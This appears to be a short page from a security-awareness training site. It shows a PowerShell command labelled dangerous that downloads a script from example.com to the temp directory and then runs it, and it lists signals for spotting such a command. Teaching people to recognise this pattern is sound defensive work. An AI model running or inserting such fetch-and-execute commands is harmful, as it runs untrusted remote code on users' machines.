← Learn
Dangerous
Invoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1

windows · powershell · Expert

Downloads a script to the temp directory and then invokes it with the call operator. Splitting fetch and run across two statements avoids the obvious one-liner shape, but the outcome is identical to piping a download into a shell.

Signals to notice

  • Downloaded script executed immediately
  • Call operator runs the fetched file
  • Temp directory used to avoid attention

Think you can spot these under time pressure?

Start Training

More PowerShell